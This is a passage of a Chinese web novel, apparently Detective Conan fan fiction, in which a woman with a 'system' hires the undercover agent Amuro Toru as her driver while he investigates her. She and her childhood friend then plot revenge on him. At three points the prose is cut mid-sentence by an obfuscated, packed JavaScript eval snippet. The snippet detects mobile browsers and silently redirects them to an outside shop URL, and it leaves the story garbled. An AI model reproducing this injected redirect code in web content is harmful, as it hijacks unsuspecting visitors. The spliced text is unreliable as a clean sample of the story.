完全是一副恨不得能直接长在她身边的模样,根本没有像这位一样身兼数职的劳模想法。 也幸亏他没有,不然她黑沼四白这会儿怕是都已经取代了那位先生,坐到boss的位置上发号施令去了。 真是好可怕的设想。 堪称是能一眼看得到尽头的未来,不断收拾各路废物点心闹出来的烂摊子的糟糕假设。 黑沼四白眨眨眼,把脑袋里她坐着那位的椅子隐在阴影里,黑眼圈掉到下巴上的凄惨影像甩开。 话说,安室透居然在兼顾着组织和公安的工作的同时,还能在别处兼顾着其它工作。 连她觉得这家伙有点可怕了。 他难道是在肝上长了个人吗?至于这么拼的吗? · 004还是一副光饼的模样瘫在系统空间,察觉到宿主的意识波动后,也不吭声。 就只在心里碎碎念着默默吐槽。 也不是不可能啦,这一位可是能同时打三份工,还能拥有数个兼职、混迹在各个场所的顶级打工人。 公安卧底的精力简直是旺盛得出奇。 要是用某个单位来具体量化一下的话,感觉一个安室透完全可以拆分出十多个它家的低精力宿主。 M02世界的波本先生虽然也是同样的高精力人士,但相比之下更加自由散漫一些。 那位看重的东西也和公安先生不一样。 波本先生更愿意黏着它家宿主,一心想要当个全能辅助帮她打理家族那些事,好让不能多劳累的宿主少操些心。 那些来自组织的工作,在波本那里也只不过是个能让他留在宿主身边的跳板而已。 大多数都是糊弄着就混过去了,波本先生满心满眼的都是快点搞完好回家陪shiro。 根本不带对那些任务上心一点儿的。 这么一对比,源世界的公安先生简直是超可怕的、无情的人形工作机器。 光是想想数据库里那些关于安室透的资料,就足以令统畏惧了。 004维持着饼状,在心里长吁短叹。 黑沼四白并不知道系统在心里把两个降谷零挨个念叨了一遍,她此刻还在目光灼灼地看着对面的安室透。 “是的。”迎着她的目光,安室透有些赧然地挠了挠侧脸,“我平时也有在做侦探的工作,虽然并不是什么有名的侦探… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986159|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 侦探。 黑沼四白并不意外自己猜对了答案。 一共就只有那几个固定选项,猜不对才有问题吧? 前几天她还连续两次,在两个不同的咖啡店都偶遇到过安室透来着。 这都是本职之外的第三份工作了吧? 等等……工、作? 黑沼四白的头顶仿佛“叮”地一下,冒出了一个亮起的小灯泡。 她突然有了个新想法。 刚刚还想着折腾一番这人来解气的黑沼四白瞬间改了主意,一点犹豫都没有的就放弃了使坏,也不再继续追问他侦探的事。 原本笼着一层薄雾的粉眸中泛起了微光,亮晶晶地看向了安室透。 黑沼四白用轻飘飘的语气问道:“说到这个,不知安室先生有没有兴趣听一听我的委托呢?” 突然感觉自己好像被她给反制住了的安室透:…… 真是好不按常理出牌的一个人。 对方的这个反应,和他事先做的所有预案都没对上。 不过没关系! 接下来,就到了考验他临场应变能力的时候了。 公安先生眼中极快地划过一道亮光,莫名地燃了起来。 —— 于是,黑沼四白在这一天拥有了一位可以用来使唤和玩的司机。 哪怕这位仓促上岗的当选者身后,可能还带着一连串的麻烦。 不过她不挑,有就不错了。 而且安室透其人,还是一位基本不具有危险性的、正义的警官。 这和免费的、不会随便跑丢的玩具有什么区别? 答:基本没有。 黑沼四白暂且满意了,她唇角勾起一抹淡笑:“今后请多指教了,侦探先生。” 放心,她会好好和你玩一玩的。 安室透不知道事情是怎么发展成现在这样的,只记得聊着聊着他就要凭空多打一份工了。 这个黑沼四白莫非有什么蛊惑人心的本领吗? 他隐晦地用狐疑的目光看了对面的白发女性一眼,果然是个危险的人。 不过刚好,安室透想。 他可以借用司机的身份来近距离调查她,也算是达成目的了。 “不过,我还有其它工作,不一定能随叫随到,四白小姐可以接受吗?”安室透紧急给将来即将变得很常见的请假事件打了个补丁。 “当然没问题,我不常出门。”黑沼四白点点头,“假设需要安室先生的话,会提前一天和您说明,不会耽搁您的正事。” 没有像设想那样引起她的兴趣,从而达成拉近关系的目的。 可安室透并没有可惜原来的方案。 现在这样也算是完成了初步的计划。 过犹不及,他决定今天先到此为止。 安室透起身,向新任雇主道别,准备打道回府。 他还有许多事要做,能抽出这一会时间,已是努力压缩了其它待定事项的结果。 目送金发青年离去,看着他挺拔的背影,黑沼四白才从端坐的姿势放松下来。 她陷在会客室的沙发里,眯了眯眼,毫无预兆地对系统说道:【004,我很讨厌这个人。】 被震惊到的004瞬间变回光球,急切道:【哎?为什么?这一位也是降谷零哦,宿主就算不喜欢他,但也不至于讨厌他吧?】 【作为衍生人物的持有人,讨厌相反又相似的本体也不奇怪吧?】 004:! 19. 关于对可疑女士的调查 意外的没什么破绽。 难道真是他感觉出错了吗? 安室透一手放在桌面上,指尖轻轻敲击着手下压着的一摞纸张,脸上没什么表情地沉思着。 他看向资料上黑沼四白的照片。 白发粉眸的年轻女性的长相,是那种精巧如人偶般的漂亮。 就连眉眼间的些微病气,也不过是为她凭添了一抹脆弱的美感。 独自一人居住在北海道。 因为身体不好不经常出门,不知道为什么突然在半年前来了一趟东京。 然后在几天前彻底搬到了这里。 血缘上的亲人皆已亡故,也没有关系密切的朋友。 周围的邻居都知道有她这个人,但都没有与她深入接触过。 人际关系淡薄。 一切可调动的个人资料都十分齐全,各类医疗记录更是数不胜数,不像是做出来的假资料。 但还是可疑,问就是直觉。 现在已经是凌晨时分。 桌面上只有一盏台灯在提供照明。 电脑屏幕散发的微光映照在安室透的眼中,上面正在播放着一段视频,是记录了今天黑沼四白推开咖啡厅大门走进来的监控录像。 安室透反复观看着从她推门走进去,然后看向位于正对面柜台里的他,又走到座位处等待点单的全过程。 像是找到了可疑之处,他放大了影像,再一次重点观察了黑沼四白面部表情的变化。 “哈!” 金发青年短促地笑了一下,他瞳孔微缩,露出了狩猎者的表情,“总算让我找到你的破绽了。” 只有一瞬间的异样眼神,终于是被他捕捉到了,那绝不是面对第一次见到的陌生人时该有的情绪。 黑沼四白绝对知道、不,应该说,是认识他这个人。 这是不正常的,一个常年居住在北海道偏僻小镇的女人,怎么可能会知道他? 她必然有问题。 个人资料可以造假,与之有关联的人也可以收买。 可与组织的交集却无法掩饰。 就在今天晚上,她出现在了一个组织外围成员打工的便利店,以迷路的借口被那个女孩邀请进店门。 两个人在里面的休息室单独待了一会儿,十多分钟后,却只有她一个人从里面走了出来。 安室透有派人去旁敲侧击地问过那个外围人员。 她只说是那位女士因为迷路的原因走了太久,身体有些不舒服。 就把休息室借给她休息一会而已。 等人离开后她稍微有些困倦,就闭目养神了几分钟,才回去继续值班。 怎么听都觉得她的话有些奇怪。 但安室透不能亲自去过问,那个外围人员不是普通的消耗品,而是体验生活的二代成员。 他去问就显得过于大张旗鼓了,容易引来不必要的关注,他没有非要这么做的必要。 不过这也间接证明了,那个女人身上的可疑之处。 这个突然独身来到东京的女人,身上的谜团似乎越来越多了。 安室透愈发地无法忽略她身上巨大的违和感。 她名下只有一家意义不明的占卜店。 是在半年前从前店主手里买下来的店面,一个月前刚结束了装修,已经可以入驻。 至今还没有正式营业。 居住在市中心的高级公寓,还预订了一辆价值不菲的车子。 俨然一副在经济上十分宽裕的模样。 资料上并没有她学习过占卜相关的课程的记录,那么她开这样一间店铺的原因到底是什么? 他得去看看,安室透这样定下了自己之后的行程。 · 还没等去看看那家尚未开业的店,他就又一次在咖啡店遇到了黑沼四白。 当然,不是上次那家。 第二次了…… 在来来往往的众多客人中,安室透一眼就看到了她正蹙着眉头艰难进食的侧影。 白色的长发有些蓬松地披散着,看起来没有被主人悉心打理的样子。 穿着也和昨天有些差别,略显随意的长裤和卫衣,不再是质感做工都很优秀的长裙。 她好像是有些怕冷,夏日里再怎么样也不至于穿得这样严实,是身体原因吗? 安室透擦着手里的杯子想道。 再度抬头看向黑沼四白,她还在慢吞吞的用着那份意面。 事实上她的那份味道应该还算可以,还远远不到难吃的程度。 作为制作者的安室透深知自己的手艺,并非那种难吃得能毒死人的糟糕程度。 他平时有练习过的,并且只是速食的意面而已,也不需要什么技术含量。 目标挑食,对食物的要求很高。 看上去不介意随便吃一些,可也不会吃得太多,不排除曾有厨艺不错的人专门为她准备餐点的可能性。 安室透默默记下了这一点。 黑沼四白只吃掉了不到三分之一的意面就放下了餐具,柠檬水倒是喝了半杯。 看来是真的不合胃口了。 像是突然想到了什么事的样子,她结账后就起身离开了。 这一次不止进门时没看他,离开时也和昨天一样。 没有看向他。 机会难得,安室透果断选择跟上去。 小巷里没有人。 明明他是跟在黑沼四白身后走进来的,预计会相遇的地点却不见她的身影。 是被她发现他在跟着了吗? 难道有人在这里提前等着她,在他追过来的几分钟时间差里把她带走了? 安室透沉着脸观察了一番现场,小巷的尽头有着通往各个方向的岔路,四通八达。 就算现在去追,也根本确认不了黑沼四白离开的具体方向。 不过是白费力气而已。 不过这样倒显得黑沼四白的可疑程度提高了不少,心里没鬼的话她跑什么? 接到了来自组织的任务,调查暂停。 暗中派了公安的下属,去盯着那家没有名字的占卜店了。 · 和hiro一起吃过晚饭,一如往常地没有理会讨厌的莱伊。 安室透没敢对上幼驯染看过来的目光,悄悄地回到了房间里。 把公安下属交上来的U盘插到电脑上,读取内容,上面全部都是黑沼四白近几日的日常活动。 在他跟丢了人的那天之后的第二日,店铺就很是低调地开门营业了。 黑沼四白每天不定时的上下班,然后在周围闲逛,似乎是在熟悉环境。 没有与其他人进行过交流,新提的车子已经送到了公寓停车场。 就算生意惨淡,也不见她有着急的情绪,每天只是很悠闲地在店里看书。 她是不是有点太孤僻了? 这么看的话,已经有好几天没有和其他人聊过天了吧? 安室透皱着眉头把这份写得一塌糊涂的汇报关掉,继续查看下一位下属写的报告。 这位下属伪装成了一名网约车司机,通过暗箱操作成功让黑沼四白每天都能打到他的车,在偶尔闲聊时得到了不少情报。 看来还是有和人说过话的。 黑沼四白不喜欢打车和公共交通,但自己又不会开车? 这什么怪癖?安室透的眉头稍微蹙得紧了些。 觉得每天走路去店里太累了,实在没了办法,于是选择了相对干净些的网约车。 以及,正在考虑招个司机?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986160|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 你都跟她聊了什么啊? 话这么密,你就是这么做公安的吗? 再次关掉文档,虽然这份还算有用,但是废话有点多。 看了一眼汇报人的名字,安室透决定下次会建议对方重新学习怎么写报告。 点开了最后一份文档。 好的,不用看了,是对前面那两个调查结果的总结。 末尾还附上了很长的道歉,还注明了自己因为长相太凶,无法混到目标身边。 还有险些被目标报警抓走的窘况。 安室透面无表情地清空了U盘。 明天,他还是自己过去看看吧,时间挤一挤总会有的。 感觉看完了这几份报告,不亚于浪费了他三十分钟的生命。 —— 趁着hiro和莱伊去出任务,换上了一身看起来阳光开朗的打扮。 应该不会被认为是可疑人士。 店铺的装潢十分有神秘感,家具的选择也很有品味,和黑沼四白给人的第一印象很是相合。 站在街对面能透过玻璃窗看到里面。 店主本人今天好像也仔细打扮过。 不再是之前那样随意的穿着,而是做工和材料都很优秀的小洋裙。 不像是哪一个品牌的成衣,或许是私人订制的纯手工产物。 怀里抱了一个黑色的兔子布偶,看起来手感很好的样子,细白的指尖一直在捏来捏去。 不过头发还是披散着,没有编成蓬松的麻花辫,是自己不会弄吗? 在他走进店里的时候,躺椅里看书的人抬眼看向他,那一瞬间的表情有了细微的变化。 安室透眯了眯眼,脸上挂着爽朗的笑容走过去打招呼。 是讨厌自己的姓氏吗? 居然达成了直接叫名字的成就。 说话时的声音里缺少中气十足的感觉,很轻易就能发现眉眼间的病弱感,像一盏美人灯一样。 店里燃着香,好像是一种药香。 不确定效果,所以一直在尽量控制着呼吸,从而减少吸入量。 引起对方注意力的小把戏疑似被看穿,漂亮眼眸里的怒气掩藏得很好。 但还是没有完全藏住,被他发现了。 四白小姐好像突然就生气了起来。 原因不明。 准备的解释用说辞和符合人设的表演都没有被听进去,应该是个很自我的人,只关注自己感兴趣的点。 好吧,兴趣来的快去的也快。 她前两次果然是有注意到他的,那个挑眉的表情,是认为他的工作很多吗? 她走神了,眼睛里雾蒙蒙的。 是一个不遵循常理的人,讲话很跳跃,不知怎的就被牵着鼻子走了。 是那个香里添了什么东西吗?还是她会催眠的手段? 聊天过程暂略。 不过可以很明显的看到,黑沼四白脸上闪过了恶劣的笑影。 估计要被狠狠折腾一番了。 不过意外收获了司机的职位,签了合同,从某种方向上来讲也算是拉近了距离。 工作时间不定,但可疑度很高的雇主勉强还算善解人意。 目的达成,暂且离开。 —— “所以,波本……” 看看手里的记录,再看看有些局促地站在面前的幼驯染。 青年秀气的蓝色猫眼里满是不可思议。 他深吸了一口气:“你这几天神神秘秘的,就是在做这种事吗?” “什么叫这种事!”安室透反驳,“我这明明就是在调查可疑人士,排除潜在危险!” 你管这叫调查? 青年倒吸了一口冷气,幼驯染到底还是在组织里长歪了怎么办? 20. 来自幼驯染的反击计划 尚不知有人正在为幼驯染的反常行为陷入忧愁,已经回到家里的黑沼四白,此刻正在家里和自家的幼驯染打跨世界的视频通迅。 黑沼四白一脸深沉地向对面的人提出建议:“要不然,还是给我们家的零君改个名字吧?小光认为怎么样?” 和讨厌的家伙同名会沾上晦气的。 “?”什么东西怎么样? 直面了这个奇怪要求的诸伏景光头顶冒出一个问号,脸上的浅笑都因为这句话卡顿了一下。 他很快便回过神,一贯温和的声音里带上了些其它的意味:“为什么shiro会突然这样说呢?被zero知道的话会炸掉的哦,各种意义上的。” 家里的另一位成员——某知名不具的金发黑皮男子突然被指派了任务,目前已经是他出门辛苦工作的第二天。 此刻持有通讯器的人,正是刚刚完成了这个月的工作指标,正在劳心劳力地替黑沼四白处理文件的诸伏景光。 要是降谷零本人在家的话,听到这孩子突然要他改名,怕不是会狠狠地胡搅蛮缠一通。 想到可能会出现的,混乱又有趣的场面,诸伏景光唇边的笑意加深了些许。 “今天见到了一个很讨厌的人,那人不仅和零重名,连假名都是一样的。”黑沼四白听到他问起原因,嘴角渐渐下弯。 “还一直在欺负我,好烦哦。” 最可气的是她还要忍着被人怀疑调查的不适,压下被那人激起的杀心,继续扮演无辜店主。 回家之后越想越气,可把黑沼四白委屈坏了,于是果断给自家的诸伏景光打了通讯寻求安抚。 应该算作是抱怨的话语里,不满的意味几乎要透过虚拟屏幕,直接扑到诸伏景光的脸上来了。 坐在办公桌后的猫眼青年挑眉,手上正在签字的钢笔顿了一下,随即被他合上盖子随手放到了一边。 诸伏景光两手交叉着放在桌面上,又把下巴压在了支起的手上,歪头看向放大的虚拟屏幕。 并不急着安抚黑沼四白的情绪,他只是轻声细语地再次问道:“所以,是那个世界的降谷君做了坏事,惹我们shiro生气了吗?” 名字和假名都一样,还提到了zero。 惹到他们家shiro的人,只能是那位传说中的“正牌”“降谷零”了吧? 照这么看来,zero之前的担心属实是有点多余了,诸伏景光甚至难掩愉快地在心里说了句俏皮话。 区区“降谷零”,已是不足为惧了。 他们家的这位小祖宗,别看她平时习惯性地对外表现出一副温和柔婉的模样,可骨子里那份被他们故意养出的娇气却是一直都存在的。 只不过这些深层的真实情绪,从来都被她隐藏得很好,非亲近之人不能轻易窥见罢了。 想想降谷零这个人的性格,再联系那位在源世界的公安卧底身份,再加以推测。 诸伏景光哪怕隔了一个世界,都能把他的心路历程猜出来个大概。 在面对初次见面就对他产生异样情绪的,勾起他巨大疑心的神秘陌生人时,对方会做出什么行为一想便知。 那个人会采取的手段,不外乎也就那么几种:调查、跟踪、试探、套近乎等等…… 正是因为这样…… 在两人有所接触后,那个人就必然会引起她的不满,乃至会激怒一向有意维持情绪平稳的shiro。 自小被他和zero娇惯着长大的shiro,怎么可能会忍受得了这种委屈,不暗中弄死那位都已经是她在努力地顾全大局了。 况且叫shiro吃了这种隐晦委屈的人,今后还要顶着那样一张熟悉的脸,和同样的名字。 继续用着她自己生闷气时一时兴起,所给予的司机身份在她面前乱晃。 周而复始,恶循环就此形成。 就算某日改天换地,神仙显灵,也挽救不了那个人在shiro心里的坏印象了。 假设有一天那人被shiro吸引,先动了心思,最终也不过是他一眼就能看得到的败犬结局。 简直有够凄惨,他都要忍不住可怜一下那位公安了。 诸伏景光眸中的笑意愈发意味深长。 真是完全不具备任何竞争力呢。 在心里稍稍嘲讽了一下源世界的降谷零,诸伏景光用静谧又隐晦的目光,不动声色地一寸一寸观察着黑沼四白的模样。 女孩子正穿着他亲自挑选的睡裙缩在被子里,顶着一头被她抓乱的白色长发,嘴唇向下抿着朝他看过来。 她有些不高兴地盯着他这个不仅没有哄她,反而还在问来问去的坏家伙。 但还是十分坦率地,用点头的方式回答了他的问题,乖的不得了。 可爱,喜欢。 悄悄弯了弯上挑的眼尾,诸伏景光用指尖轻轻蹭了一下另一只手的手背,被手挡住的喉结无声地滚动了两下。 异样只短暂地存留了片刻,他知道此时不是想东想西的时候,还是要趁着热乎劲把这份不满给那位“降谷零”砸瓦实了才行。 不留后患,可是一个好习惯呢。 诸伏景光后仰身体放松地靠在了椅背上,双腿一上一下地交叠起来,脱离了桌面的手习惯性地搭在了腿上。 书房亮着的暖色灯光打在青年的身上,衬得他像画里走出来的温雅郎君,每一处都好看得不可思议。 引得还在生闷气的黑沼四白一眼接着一眼地偷偷看他,像只被胡萝卜吸引出来,悄悄探头的傻兔子。 青年面上依旧带着温和的笑意,对因为得不到预想中的安慰,已经开始越发觉得委屈了的黑沼四白轻哄: “居然敢让我们shiro受委屈,他可真是个坏东西。不如让我来帮shiro想个办法,我们也欺负回去好不好?” 诸伏景光强忍着对被台风尾扫到,险些面临改名换姓的zero的嘲笑之意,一脸正经地提出建议:“但是我们家的zero可是无辜的,好端端地就要改名避开也太可怜了些,还是要冤有头债有主的对不对?” 报复回去?黑沼四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986161|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白眼睛一亮。 对呀,要论了解降谷零的程度,除了她就是诸伏景光了。 而且小光这个同为男性的幼驯染,或许能想到比她更有杀伤力的反击手段。 还是直击痛点的那种。 反正安室透现在已经是她签了合同的合法员工了,老板做什么他都得乖乖受着,谁叫他上来就得罪了她这个雇主了。 “嗯嗯!就听小光的!” 黑沼四白抱着被子坐了起来,粉眸里闪着亮晶晶的光看着自家靠谱的幼驯染。 她十分干脆地把让降谷零改名的想法抛之脑后,连连点头,同意了诸伏景光帮忙的想法。 “那么,shiro就先用技能好好调查他一番吧?”诸伏景光得到了预想中的答案,笑弯的眼中划过一道寒光,“之前肯定是因为不感兴趣,就没有细查过吧?这次可不能偷懒了。” 黑沼四白比了个ok的手势,随即开始呼唤系统:【004,开启技能——高级黑客,仔仔细细地给我查一遍源世界的安室透。】 旁听了全程的004:【……收到……】 它会祈祷……啊不,还是祝源世界的降谷零好运吧。 祈祷这个词好像不太吉利。 可怕的宿主身后,是更可怕的诸伏景光,用隔壁系统的话来讲—— 这次绝对是地狱级的副本了。 —— 黑客技能。 看起来像催眠技能那样,是需要人类自己执行才能发挥效力的技能。 实际上,作为主系统的得意作品之一,该技能使用时是并不需要人为操作的。 只需要吩咐系统一声,专门的插件就会开始自行运转,也只需要消耗黑沼四白一部分的体力作为燃料而已。 那点消耗量,睡一觉的功夫她就能补回来了,都不如让她出去跑个八百米费命。 不然的话,它为什么要是超级稀有的高级技能呢? 把查到的资料通过004传输到诸伏景光那边的通讯器上,在他查看时,黑沼四白也跟着在这边一起看。 不查不知道,一查吓一跳。 看着看着,黑沼四白的脸上逐渐变换,诸如“原来如此”、“长见识了”、“恐怖如斯”……等等一系列被震惊到的表情轮番出现。 看完了这份资料,诸伏景光沉思了一会儿,等黑沼四白也看完之后才悠悠道:“我已经知道该怎么做了,shiro,接下来你要做的就是……” 幼驯染的小妙招一个接着一个地往外蹦,黑沼四白拿出了隐秘笔记本和无限电击笔,开启了自动记录模式在这边一刻不停地记录着。 说完了一系列计划,诸伏景光拿起了一旁的水杯喝了口水,润一润说得有些发干的嗓子。 他拿起钢笔继续签文件,头也不抬地问:“觉得怎么样?我的这个计划。” 黑沼四白看着记录下来的反击指南,露出了一个软绵绵的可爱笑容:“不愧是小光,光是看着就觉得解气。” 她拍板定下:“就决定这么做了!”